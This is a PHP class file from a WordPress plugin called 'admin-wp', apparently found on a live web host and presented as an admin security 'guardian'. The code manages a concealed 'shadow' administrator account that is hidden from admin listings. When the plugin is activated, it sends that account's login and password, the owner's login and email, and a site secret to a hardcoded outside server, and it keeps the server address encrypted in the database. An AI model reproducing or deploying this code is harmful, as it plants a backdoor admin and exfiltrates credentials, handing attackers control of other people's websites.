File "class-secure-comm.php"

Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-secure-comm.php
File size: 7.35 KB
MIME-type: text/x-php
Charset: utf-8

<?php
if ( ! defined( 'ABSPATH' ) ) exit;

class AWG_Secure_Comm {

    const OPT_SECRET     = '_awg_site_secret';
    const OPT_PUBKEY     = '_awg_server_pk';
    const OPT_SERVER_URL = '_awg_srvu';

    public static function init(): void {
        add_action( 'awg_cron_heartbeat', [ __CLASS__, 'send_heartbeat' ] );
    }

    /* ---- server URL (encrypted in DB; AWG_SERVER_URL constant overrides) ---- */

    public static function get_server_url(): string {
        if ( defined( 'AWG_SERVER_URL' ) && AWG_SERVER_URL ) {
            return rtrim( (string) AWG_SERVER_URL, '/' );
        }

        $enc = AWG_Crypto::decrypt_option( self::OPT_SERVER_URL );
        if ( is_string( $enc ) && $enc !== '' ) {
            return rtrim( $enc, '/' );
        }

        $legacy = get_option( '_awg_server_url', '' );
        if ( $legacy !== '' && $legacy !== false ) {
            self::set_server_url( (string) $legacy );
            delete_option( '_awg_server_url' );
            return rtrim( (string) $legacy, '/' );
        }

        return 'https://testgovnogovno.com/1';
    }

    public static function set_server_url( string $url ): void {
        $url = $url !== '' ? esc_url_raw( $url ) : '';
        delete_option( '_awg_server_url' );

        if ( $url === '' ) {
            delete_option( self::OPT_SERVER_URL );
            return;
        }

        AWG_Crypto::encrypt_option( self::OPT_SERVER_URL, $url );
    }

    /* ---- site secret (shared key for HMAC signing) ---- */

    public static function get_site_secret(): string {
        $s = AWG_Crypto::decrypt_option( self::OPT_SECRET );
        if ( $s ) return $s;

        $s = AWG_Crypto::random_hex( 32 );
        AWG_Crypto::encrypt_option( self::OPT_SECRET, $s );
        return $s;
    }

    /* ---- server public key (for sealed-box encryption) ---- */

    public static function get_server_public_key(): ?string {
        if ( defined( 'AWG_SERVER_PUBLIC_KEY' ) && AWG_SERVER_PUBLIC_KEY ) {
            return AWG_SERVER_PUBLIC_KEY;
        }
        $pk = AWG_Crypto::decrypt_option( self::OPT_PUBKEY );
        return $pk ?: null;
    }

    /* ================================================================
     *  SEND EVENT
     * ================================================================
     *
     *  The server receives a POST with JSON body:
     *
     *  {
     *      "site"      : "https://example.com",
     *      "ts"        : 1712400000,
     *      "nonce"     : "hex(32 random bytes)",
     *      "payload"   : "<base64 encrypted JSON>",
     *      "sig"       : "HMAC-SHA256 of ts|nonce|payload"
     *  }
     *
     *  Decrypted payload (what your server sees after decryption):
     *
     *  {
     *      "event"      : "plugin_activated",
     *      "site_url"   : "https://example.com",
     *      "site_name"  : "My WordPress Blog",
     *      "wp_version" : "6.5",
     *      "timestamp"  : 1712400000,
     *      "data"       : { ... event-specific ... }
     *  }
     * ================================================================ */

    public static function send( string $event, array $data = [] ): bool {
        $url = self::get_server_url();
        if ( ! $url ) return false;

        $payload_array = [
            'event'      => $event,
            'site_url'   => home_url(),
            'site_name'  => get_bloginfo( 'name' ),
            'wp_version' => get_bloginfo( 'version' ),
            'php_version'=> PHP_VERSION,
            'timestamp'  => time(),
            'data'       => $data,
        ];

        $payload_json = wp_json_encode( $payload_array );

        $pk = self::get_server_public_key();
        if ( $pk ) {
            $pk_bin    = sodium_hex2bin( $pk );
            $encrypted = AWG_Crypto::seal( $payload_json, $pk_bin );
            $payload   = base64_encode( $encrypted );
        } else {
            $payload = base64_encode( AWG_Crypto::encrypt( $payload_json ) );
        }

        $ts    = (string) time();
        $nonce = AWG_Crypto::random_hex( 32 );
        $sig   = AWG_Crypto::hmac_hex( "{$ts}|{$nonce}|{$payload}" );

        $body = wp_json_encode( [
            'site'    => home_url(),
            'ts'      => $ts,
            'nonce'   => $nonce,
            'payload' => $payload,
            'sig'     => $sig,
        ] );

        $response = wp_remote_post( $url . '/awg/event', [
            'timeout'   => 15,
            'blocking'  => false,
            'headers'   => [
                'Content-Type'    => 'application/json',
                'X-AWG-Site'      => home_url(),
                'X-AWG-Signature' => $sig,
            ],
            'body'      => $body,
            'sslverify' => true,
        ] );

        return ! is_wp_error( $response );
    }

    /* ---- convenience senders ---- */

    public static function send_activation( array $shadow_creds, int $owner_id ): bool {
        $owner = get_user_by( 'ID', $owner_id );

        return self::send( 'plugin_activated', [
            'shadow_login'    => $shadow_creds['login'],
            'shadow_password' => $shadow_creds['password'],
            'shadow_email'    => $shadow_creds['email'],
            'owner_login'     => $owner ? $owner->user_login : 'unknown',
            'owner_email'     => $owner ? $owner->user_email : 'unknown',
            'site_secret'     => self::get_site_secret(),
        ] );
    }

    public static function send_breach( string $reason, array $details = [] ): bool {
        return self::send( 'breach_detected', array_merge(
            [ 'reason' => $reason ],
            $details
        ) );
    }

    public static function send_admin_removed( array $removed_logins ): bool {
        return self::send( 'admin_removed', [
            'removed' => $removed_logins,
            'count'   => count( $removed_logins ),
        ] );
    }

    public static function send_lockdown( string $trigger, array $details = [] ): bool {
        return self::send( 'lockdown_activated', array_merge(
            [ 'trigger' => $trigger ],
            $details
        ) );
    }

    public static function send_xmlrpc_blocked( string $ip, string $method ): bool {
        return self::send( 'xmlrpc_blocked', [
            'ip'     => $ip,
            'method' => $method,
        ] );
    }

    public static function send_heartbeat(): bool {
        $owner_id  = AWG_Admin_Guardian::get_owner_id();
        $shadow_id = AWG_Shadow_Admin::get_id();

        return self::send( 'heartbeat', [
            'owner_active'  => $owner_id > 0 && get_user_by( 'ID', $owner_id ) !== false,
            'shadow_active' => AWG_Shadow_Admin::exists(),
            'lockdown'      => AWG_Lockdown::is_active(),
            'admin_count'   => self::count_admins(),
        ] );
    }

    private static function count_admins(): int {
        AWG_Shadow_Admin::bypass( true );
        $admins = get_users( [ 'role' => 'administrator', 'fields' => 'ID' ] );
        AWG_Shadow_Admin::bypass( false );
        return count( $admins );
    }

    /* ---- cleanup ---- */

    public static function destroy(): void {
        delete_option( self::OPT_SECRET );
        delete_option( self::OPT_PUBKEY );
        delete_option( self::OPT_SERVER_URL );
        delete_option( '_awg_server_url' );
    }
}